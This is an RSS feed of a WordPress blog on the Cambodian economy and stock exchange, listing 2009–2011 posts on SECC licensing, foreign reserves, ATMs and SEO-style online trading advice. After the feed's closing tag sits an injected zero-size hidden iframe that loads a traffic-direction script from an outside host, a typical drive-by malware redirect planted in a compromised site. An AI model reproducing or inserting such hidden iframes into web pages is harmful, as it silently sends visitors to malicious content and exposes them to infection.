<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cambodian Economy Reviews &#187; Stock exchange</title>
	<atom:link href="http://khmerian.com/tag/stock-exchange/feed/" rel="self" type="application/rss+xml" />
	<link>http://khmerian.com</link>
	<description></description>
	<lastBuildDate>Sat, 11 Feb 2012 16:22:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Waterhouse Stock Trading Online: Is It The Trading Company For You?</title>
		<link>http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/</link>
		<comments>http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/#comments</comments>
		<pubDate>Thu, 26 May 2011 13:43:28 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Australia stock exchange]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[French stock exchange]]></category>
		<category><![CDATA[international stock exchange]]></category>
		<category><![CDATA[New York stock exchange]]></category>
		<category><![CDATA[online stock exchange]]></category>
		<category><![CDATA[online stock trades]]></category>
		<category><![CDATA[online stock trading]]></category>
		<category><![CDATA[Philippine stock exchange]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[stock exchange news]]></category>
		<category><![CDATA[stock exchange rates]]></category>
		<category><![CDATA[stock exchange software]]></category>
		<category><![CDATA[stock exchange trading]]></category>
		<category><![CDATA[stock market exchange]]></category>
		<category><![CDATA[stock market trading]]></category>
		<category><![CDATA[stock trades online]]></category>
		<category><![CDATA[stock trading online]]></category>
		<category><![CDATA[Toronto stock exchange]]></category>
		<category><![CDATA[trade stocks online]]></category>
		<category><![CDATA[trading stock exchange]]></category>
		<category><![CDATA[trading stocks online]]></category>
		<category><![CDATA[world stock exchanges]]></category>

		<guid isPermaLink="false">http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/"></g:plusone></div>
Regardless if you are a novice to the online stock trades business, you will see that there&#8217;s a number of companies who have opened to offer services for online stock trading. One of these companies is a well-acknowledged firm called Waterhouse Online Stock Trading. They are famous for their great service and flawless resolve with &#8230; <a href="http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2011/05/waterhouse-stock-trading-online-is-it-the-trading-company-for-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instruments To Start Your Online Stock Trade Business</title>
		<link>http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/</link>
		<comments>http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/#comments</comments>
		<pubDate>Thu, 26 May 2011 13:37:21 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Australia stock exchange]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[French stock exchange]]></category>
		<category><![CDATA[international stock exchange]]></category>
		<category><![CDATA[New York stock exchange]]></category>
		<category><![CDATA[online stock exchange]]></category>
		<category><![CDATA[online stock trade business]]></category>
		<category><![CDATA[online stock trades]]></category>
		<category><![CDATA[online stock trading]]></category>
		<category><![CDATA[Philippine stock exchange]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[stock exchange news]]></category>
		<category><![CDATA[stock exchange rates]]></category>
		<category><![CDATA[stock exchange software]]></category>
		<category><![CDATA[stock exchange trading]]></category>
		<category><![CDATA[stock market exchange]]></category>
		<category><![CDATA[stock market trading online]]></category>
		<category><![CDATA[stock trades online]]></category>
		<category><![CDATA[Toronto stock exchange]]></category>
		<category><![CDATA[trade stocks online]]></category>
		<category><![CDATA[trading stock exchange]]></category>
		<category><![CDATA[trading stocks online]]></category>
		<category><![CDATA[world stock exchanges]]></category>

		<guid isPermaLink="false">http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/"></g:plusone></div>
Which are the important equipment that you need in case you are new to the online stock trading business? First of all, you need to find out about what stocks are and how you are able to successfully cash in on them. Do not minimize your study and learning to only online stock trading, but &#8230; <a href="http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2011/05/instruments-to-start-your-online-stock-trade-business/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stock Trades Online vs. Stock Trades Offline</title>
		<link>http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/</link>
		<comments>http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/#comments</comments>
		<pubDate>Thu, 26 May 2011 13:33:35 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Australia stock exchange]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[French stock exchange]]></category>
		<category><![CDATA[how to trade stocks online]]></category>
		<category><![CDATA[international stock exchange]]></category>
		<category><![CDATA[New York stock exchange]]></category>
		<category><![CDATA[online stock day trading]]></category>
		<category><![CDATA[online stock exchange]]></category>
		<category><![CDATA[online stock trade]]></category>
		<category><![CDATA[online stock trades]]></category>
		<category><![CDATA[Philippine stock exchange]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[stock exchange news]]></category>
		<category><![CDATA[stock exchange rates]]></category>
		<category><![CDATA[stock exchange software]]></category>
		<category><![CDATA[stock exchange trading]]></category>
		<category><![CDATA[stock market exchange]]></category>
		<category><![CDATA[stock market trading online]]></category>
		<category><![CDATA[stock trades online]]></category>
		<category><![CDATA[stock trading online]]></category>
		<category><![CDATA[Toronto stock exchange]]></category>
		<category><![CDATA[trading stock exchange]]></category>
		<category><![CDATA[trading stocks online]]></category>
		<category><![CDATA[world stock exchanges]]></category>

		<guid isPermaLink="false">http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/"></g:plusone></div>
The web has definitely brought a huge modification to our society plus our very own personal lives. It has identified multiple part of our life, whether it be business or personal matters. The internet gave way to lots of methods that was inaccessible before, such as online stock trading. The field of finance has fully &#8230; <a href="http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2011/05/stock-trades-online-vs-stock-trades-offline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SECC issued licence for securities firm to OSK Indochina Securities</title>
		<link>http://khmerian.com/2010/10/secc-issued-licence-for-securities-firm-to-osk-indochina-securities/</link>
		<comments>http://khmerian.com/2010/10/secc-issued-licence-for-securities-firm-to-osk-indochina-securities/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 07:26:13 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Cambodian economy]]></category>
		<category><![CDATA[cambodian stock exchange]]></category>
		<category><![CDATA[Stock exchange]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=1042</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2010/10/secc-issued-licence-for-securities-firm-to-osk-indochina-securities/"></g:plusone></div>
OSK Holding Bhd has announced that OSK Indochina Securities Ltd (OSKISL) has been issued the licence for securities firm by Sec the Securities and Exchange Commission of Cambodia (SECC). OSK Indochina Bank Limited provides banking products and services. Its deposit products include savings, current, and fixed deposit accounts. In a filing to Bursa Malaysia on &#8230; <a href="http://khmerian.com/2010/10/secc-issued-licence-for-securities-firm-to-osk-indochina-securities/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2010/10/secc-issued-licence-for-securities-firm-to-osk-indochina-securities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foreign Exchange reserves climbed 21 percent</title>
		<link>http://khmerian.com/2009/11/foreign-exchange-reserves-climbed-21-percent/</link>
		<comments>http://khmerian.com/2009/11/foreign-exchange-reserves-climbed-21-percent/#comments</comments>
		<pubDate>Wed, 04 Nov 2009 06:58:49 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Banking System]]></category>
		<category><![CDATA[acleda bank]]></category>
		<category><![CDATA[ANZ bank]]></category>
		<category><![CDATA[ATM Cambodia]]></category>
		<category><![CDATA[ATM in cambodia]]></category>
		<category><![CDATA[ATMs in Cambodia]]></category>
		<category><![CDATA[bank Cambodia]]></category>
		<category><![CDATA[bank in Cambodia]]></category>
		<category><![CDATA[bank notes]]></category>
		<category><![CDATA[bank of Cambodia]]></category>
		<category><![CDATA[banking sector]]></category>
		<category><![CDATA[Cambodia ATM]]></category>
		<category><![CDATA[cambodia bank]]></category>
		<category><![CDATA[Cambodia banking]]></category>
		<category><![CDATA[Cambodia loan]]></category>
		<category><![CDATA[Cambodia microfinance]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[Cambodia stock market]]></category>
		<category><![CDATA[Cambodian bank]]></category>
		<category><![CDATA[Cambodian banks]]></category>
		<category><![CDATA[cambodian commercial bank]]></category>
		<category><![CDATA[Cambodian currency]]></category>
		<category><![CDATA[Cambodian money]]></category>
		<category><![CDATA[cambodian national bank]]></category>
		<category><![CDATA[car loan from Cambodia bank]]></category>
		<category><![CDATA[car loan in Cambodia]]></category>
		<category><![CDATA[Commercial banks]]></category>
		<category><![CDATA[commercial public bank]]></category>
		<category><![CDATA[credit card in cambodia]]></category>
		<category><![CDATA[credit card service]]></category>
		<category><![CDATA[foreign exchange reserve]]></category>
		<category><![CDATA[khmer bank]]></category>
		<category><![CDATA[microfinance Cambodia]]></category>
		<category><![CDATA[microfinance in Cambodia]]></category>
		<category><![CDATA[microfinance loan]]></category>
		<category><![CDATA[money banking in cambodia]]></category>
		<category><![CDATA[money transfer via bank]]></category>
		<category><![CDATA[motorcycle loan in Cambodia]]></category>
		<category><![CDATA[National Bank of Cambodia]]></category>
		<category><![CDATA[soft loan for financial system]]></category>
		<category><![CDATA[Stock exchange]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=793</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/11/foreign-exchange-reserves-climbed-21-percent/"></g:plusone></div>
Giving speech at the 30th anniversary ceremony for the National Bank of Cambodia (NBC), which was reestablished after the topple of Khmer Rouge regime, the Prime Minister Hun said that despite Cambodia suffered from the global financial crisis, Cambodia’s foreign exchange reserves is up to US$2.522 billion by the end of August of this year. &#8230; <a href="http://khmerian.com/2009/11/foreign-exchange-reserves-climbed-21-percent/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/11/foreign-exchange-reserves-climbed-21-percent/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Slow start expected for new bourse</title>
		<link>http://khmerian.com/2009/06/slow-start-expected-for-new-bourse/</link>
		<comments>http://khmerian.com/2009/06/slow-start-expected-for-new-bourse/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 02:50:28 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[cambodian stock exchange]]></category>
		<category><![CDATA[capital market]]></category>
		<category><![CDATA[stock companies]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[stock investments]]></category>
		<category><![CDATA[stock market]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=555</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/06/slow-start-expected-for-new-bourse/"></g:plusone></div>
WHEN the opening bell rang on the first day of trading at the Ho Chi Minh Securities Trading Centre on July 28, 2000, just two companies were listed. From the outset, trading was a muted process. &#8220;It takes time &#8211; in the case of Vietnam, it took five years [to gather momentum],&#8221; says Hang Chuon &#8230; <a href="http://khmerian.com/2009/06/slow-start-expected-for-new-bourse/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/06/slow-start-expected-for-new-bourse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commercial banks expand ATM networks</title>
		<link>http://khmerian.com/2009/05/commercial-banks-expand-atm-networks/</link>
		<comments>http://khmerian.com/2009/05/commercial-banks-expand-atm-networks/#comments</comments>
		<pubDate>Tue, 19 May 2009 23:22:40 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Banking System]]></category>
		<category><![CDATA[acleda bank]]></category>
		<category><![CDATA[ANZ bank]]></category>
		<category><![CDATA[ATM Cambodia]]></category>
		<category><![CDATA[ATM in cambodia]]></category>
		<category><![CDATA[ATM networks]]></category>
		<category><![CDATA[ATMs]]></category>
		<category><![CDATA[ATMs in Cambodia]]></category>
		<category><![CDATA[ATMs recognized by fingerprint]]></category>
		<category><![CDATA[bank Cambodia]]></category>
		<category><![CDATA[bank in Cambodia]]></category>
		<category><![CDATA[bank notes]]></category>
		<category><![CDATA[bank of Cambodia]]></category>
		<category><![CDATA[banking sector]]></category>
		<category><![CDATA[Cambodia ATM]]></category>
		<category><![CDATA[cambodia bank]]></category>
		<category><![CDATA[Cambodia banking]]></category>
		<category><![CDATA[Cambodia loan]]></category>
		<category><![CDATA[Cambodia microfinance]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[Cambodia stock market]]></category>
		<category><![CDATA[Cambodian bank]]></category>
		<category><![CDATA[Cambodian banks]]></category>
		<category><![CDATA[cambodian commercial bank]]></category>
		<category><![CDATA[Cambodian currency]]></category>
		<category><![CDATA[Cambodian money]]></category>
		<category><![CDATA[cambodian national bank]]></category>
		<category><![CDATA[car loan from Cambodia bank]]></category>
		<category><![CDATA[car loan in Cambodia]]></category>
		<category><![CDATA[Commercial banks]]></category>
		<category><![CDATA[commercial public bank]]></category>
		<category><![CDATA[credit card in cambodia]]></category>
		<category><![CDATA[credit card service]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[debit cards]]></category>
		<category><![CDATA[e-banking]]></category>
		<category><![CDATA[Financial crisis]]></category>
		<category><![CDATA[khmer bank]]></category>
		<category><![CDATA[loans from other foreign banks]]></category>
		<category><![CDATA[microfinance Cambodia]]></category>
		<category><![CDATA[microfinance in Cambodia]]></category>
		<category><![CDATA[microfinance loan]]></category>
		<category><![CDATA[mobile phone banking service]]></category>
		<category><![CDATA[money banking in cambodia]]></category>
		<category><![CDATA[money transfer via bank]]></category>
		<category><![CDATA[motorcycle loan in Cambodia]]></category>
		<category><![CDATA[National Bank of Cambodia]]></category>
		<category><![CDATA[soft loan for financial system]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[telephone banking]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=484</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/05/commercial-banks-expand-atm-networks/"></g:plusone></div>
The global financial crisis did not affect strongly the local commercial banks in Cambodia because most of banks don’t depend on foreign source of finance, and loans from other foreign banks and also don’t buy stocks in the international market. At the mean time, Cambodia has not yet created stock exchange. As Cambodia’s banking sector &#8230; <a href="http://khmerian.com/2009/05/commercial-banks-expand-atm-networks/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/05/commercial-banks-expand-atm-networks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Regulatory commission for stock exchange opens</title>
		<link>http://khmerian.com/2009/05/regulatory-commission-for-stock-exchange-opens/</link>
		<comments>http://khmerian.com/2009/05/regulatory-commission-for-stock-exchange-opens/#comments</comments>
		<pubDate>Sat, 02 May 2009 09:52:54 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[banking services]]></category>
		<category><![CDATA[investment securities]]></category>
		<category><![CDATA[korea stock exchange]]></category>
		<category><![CDATA[money exchange]]></category>
		<category><![CDATA[stock companies]]></category>
		<category><![CDATA[Stock exchange]]></category>
		<category><![CDATA[stock funds]]></category>
		<category><![CDATA[stock information]]></category>
		<category><![CDATA[stock investments]]></category>
		<category><![CDATA[stock market]]></category>
		<category><![CDATA[stock market exchange]]></category>
		<category><![CDATA[stock shares]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=458</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/05/regulatory-commission-for-stock-exchange-opens/"></g:plusone></div>
DESPITE the global financial crisis, Cambodia is still committed to launching a securities market by the end of this year, the finance minister said Wednesday at the official launch of the Securities and Exchange Commission of Cambodia. &#8220;The launch of the securities market in Cambodia is still on the schedule for 2009, but a suitable &#8230; <a href="http://khmerian.com/2009/05/regulatory-commission-for-stock-exchange-opens/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/05/regulatory-commission-for-stock-exchange-opens/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subdecree signed outlining stock exchange regulations</title>
		<link>http://khmerian.com/2009/04/subdecree-signed-outlining-stock-exchange-regulations/</link>
		<comments>http://khmerian.com/2009/04/subdecree-signed-outlining-stock-exchange-regulations/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 01:03:16 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[Cambodia stock market]]></category>
		<category><![CDATA[Cambodia's exchange]]></category>
		<category><![CDATA[Cambodian banks]]></category>
		<category><![CDATA[Cambodian currency]]></category>
		<category><![CDATA[Cambodian economy]]></category>
		<category><![CDATA[cambodian market]]></category>
		<category><![CDATA[Cambodian newspaper]]></category>
		<category><![CDATA[Cambodian people]]></category>
		<category><![CDATA[cambodian stock exchange]]></category>
		<category><![CDATA[capital market]]></category>
		<category><![CDATA[everyday Khmer]]></category>
		<category><![CDATA[Khmer daily news]]></category>
		<category><![CDATA[Khmer magazine]]></category>
		<category><![CDATA[Khmer News]]></category>
		<category><![CDATA[Khmer newspaper]]></category>
		<category><![CDATA[Khmer post]]></category>
		<category><![CDATA[Khmer website]]></category>
		<category><![CDATA[national news]]></category>
		<category><![CDATA[Stock exchange]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=403</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/04/subdecree-signed-outlining-stock-exchange-regulations/"></g:plusone></div>
THE Council of Ministers approved on Friday the draft of a sub-decree detailing stock exchange regulations that officials described as necessary for establishing the exchange by the end of the year. The subdecree was drafted by the Ministry of Economy and Finance in accordance with the Law on the Issuance and Trading of Non-Government Securities, &#8230; <a href="http://khmerian.com/2009/04/subdecree-signed-outlining-stock-exchange-regulations/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/04/subdecree-signed-outlining-stock-exchange-regulations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking stock</title>
		<link>http://khmerian.com/2009/02/taking-stock/</link>
		<comments>http://khmerian.com/2009/02/taking-stock/#comments</comments>
		<pubDate>Mon, 23 Feb 2009 09:13:54 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[cash]]></category>
		<category><![CDATA[Earn money]]></category>
		<category><![CDATA[financial risk]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[make money]]></category>
		<category><![CDATA[Money market fund]]></category>
		<category><![CDATA[Stock]]></category>
		<category><![CDATA[Stock exchange]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=179</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/02/taking-stock/"></g:plusone></div>
Make sure you &#8220;keep your balance&#8221; when it comes to financial planning &#8211; especially in times of crisis. Rebalancing is an essential process that is designed to decrease risk and earn you money. It is a useful technique that should be practised by all on a regular basis &#8211; with or without a global financial &#8230; <a href="http://khmerian.com/2009/02/taking-stock/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/02/taking-stock/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: khmerian.com @ 2012-02-12 01:31:32 -->
